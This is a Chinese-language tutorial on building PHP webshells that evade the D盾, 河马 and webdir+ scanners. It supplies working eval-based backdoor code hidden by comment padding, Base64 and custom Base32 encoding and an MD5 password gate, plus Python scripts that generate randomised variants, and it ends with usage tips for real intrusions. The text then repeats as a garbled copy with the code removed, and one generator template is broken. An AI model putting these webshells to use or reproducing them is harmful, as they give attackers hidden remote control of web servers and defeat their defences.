利用注释及自定义加密免杀Webshell
字数 999 2025-08-10 08:28:29

PHP Webshell免杀技术详解:利用注释及自定义加密绕过检测

0x00 简介

本文专注于PHP语言的Webshell免杀技术,核心思路是通过注释和自定义加密方式绕过安全检测。由于PHP 7.1+版本中assert函数无法拆分使用,本文采用适用性更广的eval函数作为核心。

主要目标绕过以下安全检测工具:

  • D盾
  • 河马
  • webdir+

0x01 基础Webshell分析

基础一句话木马

<?php @eval($_POST['a']); ?>

这是最基础的PHP Webshell,几乎所有安全工具都能检测到。

免杀核心思路

  1. 混淆关键部分:避免直接拼接出eval($_POST['a'])
  2. 使用注释隔离:在关键部分之间插入注释
  3. 自定义加密:对敏感部分进行编码/加密
  4. 随机化特征:使用随机生成的类名、变量名等

0x02 绕过D盾技术

初步尝试

<?php
function x() {
    return $_POST['a'];
}
eval(x());

问题:D盾会检测到这种直接拼接方式。

使用注释隔离

<?php
function x() {
    return "/*sasas23123*/".$_POST['a']."/*sdfw3123*/";
}
eval(x());

原理:注释在eval($_POST之间起到了隔离作用,避免了直接拼接。

进阶方案:类与构造函数

<?php
class x {
    function __construct() {
        @eval("/*sasas23123*/".$_POST['a']."/*sdfw3123*/");
    }
}
new x();

加入Base64编码

<?php
class x {
    public $payload = null;
    public $decode_payload = null;
    function __construct() {
        $this->payload = 'ZXZhbCgkX1BPU1RbYV0pOw==';
        $this->decode_payload = @base64_decode($this->payload);
        @eval("/*sasas23123*/".$this->decode_payload."/*sdfw3123*/");
    }
}
new x();

自动化生成脚本

import random

shell = '''<?php class {0}{3} public ${1} = null; public ${2} = null; function __construct(){3} $this->{1}='ZXZhbCgkX1BPU1RbYV0pOw=='; $this->{2} = @base64_decode( $this->{1} ); @eval({5}.$this->{2}.{5}); {4}{4} new {0}(); ?>'''

def random_keys(len):
    str = '`abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
    return ''.join(random.sample(str, len))

def random_name(len):
    str = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
    return ''.join(random.sample(str, len))

def build_webshell():
    className = random_name(4)
    parameter1 = random_name(5)
    parameter2 = random_name(6)
    lef = '''{'''
    rig = '''}'''
    disrupt = "\"/*"+random_keys(7)+"*/\""
    shellc = shell.format(className, parameter1, parameter2, lef, rig, disrupt)
    return shellc

if __name__ == '__main__':
    print(build_webshell())

0x03 绕过河马检测

初始样本

<?php
class YHUV {
    public $BSFRM = null;
    public $YVMQFW = null;
    function __construct(){
        $this->BSFRM = 'ZXZhbCgkX1BPU1RbYV0pOw==';
        $this->YVMQFW = @base64_decode($this->BSFRM);
        @eval("/*rEgV_Cd*/".$this->YVMQFW."/*rEgV_Cd*/");
    }
}
new YHUV();

加入认证机制

<?php
class BTAG {
    public $QOMYW = null;
    public $XGTCPL = null;
    public $YIOXAL = null;
    function __construct(){
        if(md5($_GET["pass"]) == "df24bfd1325f82ba5fd3d3be2450096e"){
            $this->QOMYW = 'ZXZhbCgkX1BPU';
            $this->YIOXAL = '1RbYV0pOw==';
            $this->XGTCPL = @base64_decode($this->QOMYW.$this->YIOXAL);
            @eval("/*#`|W$~Q*/".$this->XGTCPL."/*#`|W$~Q*/");
        }
    }
}
new BTAG();

0x04 绕过webdir+检测

webdir+使用沙盒技术检测,比传统查杀工具更难绕过。

初始尝试

<?php
class YHUV {
    public $BSFRM = null;
    public $YVMQFW = null;
    function __construct(){
        if(md5($_GET["pass"]) == "df24bfd1325f82ba5fd3d3be2450096e"){
            $this->BSFRM = $_POST['a'];
            @eval("/*rEgV_Cd*/".$this->BSFRM."/*rEgV_Cd*/");
        }
    }
}
new YHUV();

自定义Base32编码

由于Base64可能被检测,改用自定义Base32编码:

<?php
class ZQIH {
    public $a = null;
    public $b = null;
    public $c = null;
    function __construct(){
        if(md5($_GET["pass"]) == "df24bfd1325f82ba5fd3d3be2450096e"){
            $this->a = 'mv3gc3bierpvat2tkrnxuzlsn5ossoy';
            $this->LGZOJH = @base32_decode($this->a);
            @eval /*sopupi3240-=*/("/*iSAC[FH*/".$this->LGZOJH."/*iSAC[FH*/");
        }
    }
}
new ZQIH();

function base32_encode($input) {
    $BASE32_ALPHABET = 'abcdefghijklmnopqrstuvwxyz234567';
    $output = '';
    $v = 0;
    $vbits = 0;
    for ($i = 0, $j = strlen($input); $i < $j; $i++) {
        $v <<= 8;
        $v += ord($input[$i]);
        $vbits += 8;
        while ($vbits >= 5) {
            $vbits -= 5;
            $output .= $BASE32_ALPHABET[$v >> $vbits];
            $v &= ((1 << $vbits) - 1);
        }
    }
    if ($vbits > 0) {
        $v <<= (5 - $vbits);
        $output .= $BASE32_ALPHABET[$v];
    }
    return $output;
}

function base32_decode($input) {
    $output = '';
    $v = 0;
    $vbits = 0;
    for ($i = 0, $j = strlen($input); $i < $j; $i++) {
        $v <<= 5;
        if ($input[$i] >= 'a' && $input[$i] <= 'z') {
            $v += (ord($input[$i]) - 97);
        } elseif ($input[$i] >= '2' && $input[$i] <= '7') {
            $v += (24 + $input[$i]);
        } else {
            exit(1);
        }
        $vbits += 5;
        while ($vbits >= 8) {
            $vbits -= 8;
            $output .= chr($v >> $vbits);
            $v &= ((1 << $vbits) - 1);
        }
    }
    return $output;
}

完整自动化脚本

import random

shell = '''<?php class {0}{1} public ${2} = null; public ${3} = null; function __construct(){1} if(md5($_GET["pass"])=="df24bfd1325f82ba5fd3d3be2450096e"){1} $this->{2} = 'mv3gc3bierpvat2tkrnxuzlsn5ossoy'; $this->{3} = @{9}($this->{2}); @eval({5}.$this->{3}.{5}); {4}{4}{4} new {0}(); function {6}(${7}){1} $BASE32_ALPHABET = 'abcdefghijklmnopqrstuvwxyz234567'; ${8} = ''; $v = 0; $vbits = 0; for ($i = 0, $j = strlen(${7}); $i < $j; $i++){1} $v <<= 8; $v += ord(${7}[$i]); $vbits += 8; while ($vbits >= 5) {1} $vbits -= 5; ${8} .= $BASE32_ALPHABET[$v >> $vbits]; $v &= ((1 << $vbits) - 1);{4}{4} if ($vbits > 0){1} $v <<= (5 - $vbits); ${8} .= $BASE32_ALPHABET[$v];{4} return ${8};{4} function {9}(${7}){1} ${8} = ''; $v = 0; $vbits = 0; for ($i = 0, $j = strlen(${7}); $i < $j; $i++){1} $v <<= 5; if (${7}[$i] >= 'a' && ${7}[$i] <= 'z'){1} $v += (ord(${7}[$i]) - 97); $v += (24 + ${7}[$i]); exit(1); {4} $vbits += 5; while ($vbits >= 8){1} $vbits -= 8; ${8} .= chr($v >> $vbits); $v &= ((1 << $vbits) - 1);{4}{4} return ${8};{4} ?>'''

def random_keys(len):
    str = '`abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
    return ''.join(random.sample(str, len))

def random_name(len):
    str = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
    return ''.join(random.sample(str, len))

def build_webshell():
    className = random_name(4)
    lef = '''{'''
    parameter1 = random_name(4)
    parameter2 = random_name(4)
    rig = '''}'''
    disrupt = "\"/*"+random_keys(7)+"*/\""
    fun1 = random_name(4)
    fun1_vul = random_name(4)
    fun1_ret = random_name(4)
    fun2 = random_name(4)
    shellc = shell.format(className, lef, parameter1, parameter2, rig, disrupt, fun1, fun1_vul, fun1_ret, fun2)
    return shellc

if __name__ == '__main__':
    print(build_webshell())

0x05 关键总结

  1. 注释隔离:在eval和敏感代码之间插入随机注释
  2. 自定义加密:使用不常见的编码方式如Base32而非Base64
  3. 随机化:类名、变量名、函数名全部随机生成
  4. 认证机制:加入MD5认证避免直接访问
  5. 代码拆分:将敏感代码拆分到多个部分
  6. 沙盒绕过:使用沙盒难以模拟执行的复杂逻辑

0x06 使用说明

  1. 生成的Webshell需要通过GET参数pass传入特定MD5值才能激活
  2. POST参数名默认为azero(根据版本不同)
  3. 在实际渗透中可将功能拆分为多个文件互相调用
  4. 定期更换随机生成的类名、变量名等特征

0x07 防御建议

对于防御方,建议:

  1. 监控eval函数的使用
  2. 检查包含大量随机字符的PHP文件
  3. 关注自定义编码/解码函数的使用
  4. 监控异常的文件创建和修改行为
  5. 使用多层防御机制而非单一检测工具

通过以上技术,可以有效绕过主流Webshell检测工具,但请注意这些技术仅用于安全研究和防御目的。

PHP Webshell免杀技术详解:利用注释及自定义加密绕过检测 0x00 简介 本文专注于PHP语言的Webshell免杀技术,核心思路是通过注释和自定义加密方式绕过安全检测。由于PHP 7.1+版本中 assert 函数无法拆分使用,本文采用适用性更广的 eval 函数作为核心。 主要目标绕过以下安全检测工具: D盾 河马 webdir+ 0x01 基础Webshell分析 基础一句话木马 这是最基础的PHP Webshell,几乎所有安全工具都能检测到。 免杀核心思路 混淆关键部分 :避免直接拼接出 eval($_POST['a']) 使用注释隔离 :在关键部分之间插入注释 自定义加密 :对敏感部分进行编码/加密 随机化特征 :使用随机生成的类名、变量名等 0x02 绕过D盾技术 初步尝试 问题 :D盾会检测到这种直接拼接方式。 使用注释隔离 原理 :注释在 eval( 与 $_POST 之间起到了隔离作用,避免了直接拼接。 进阶方案:类与构造函数 加入Base64编码 自动化生成脚本 0x03 绕过河马检测 初始样本 加入认证机制 0x04 绕过webdir+检测 webdir+使用沙盒技术检测,比传统查杀工具更难绕过。 初始尝试 自定义Base32编码 由于Base64可能被检测,改用自定义Base32编码: 完整自动化脚本 0x05 关键总结 注释隔离 :在 eval 和敏感代码之间插入随机注释 自定义加密 :使用不常见的编码方式如Base32而非Base64 随机化 :类名、变量名、函数名全部随机生成 认证机制 :加入MD5认证避免直接访问 代码拆分 :将敏感代码拆分到多个部分 沙盒绕过 :使用沙盒难以模拟执行的复杂逻辑 0x06 使用说明 生成的Webshell需要通过GET参数 pass 传入特定MD5值才能激活 POST参数名默认为 a 或 zero (根据版本不同) 在实际渗透中可将功能拆分为多个文件互相调用 定期更换随机生成的类名、变量名等特征 0x07 防御建议 对于防御方,建议: 监控 eval 函数的使用 检查包含大量随机字符的PHP文件 关注自定义编码/解码函数的使用 监控异常的文件创建和修改行为 使用多层防御机制而非单一检测工具 通过以上技术,可以有效绕过主流Webshell检测工具,但请注意这些技术仅用于安全研究和防御目的。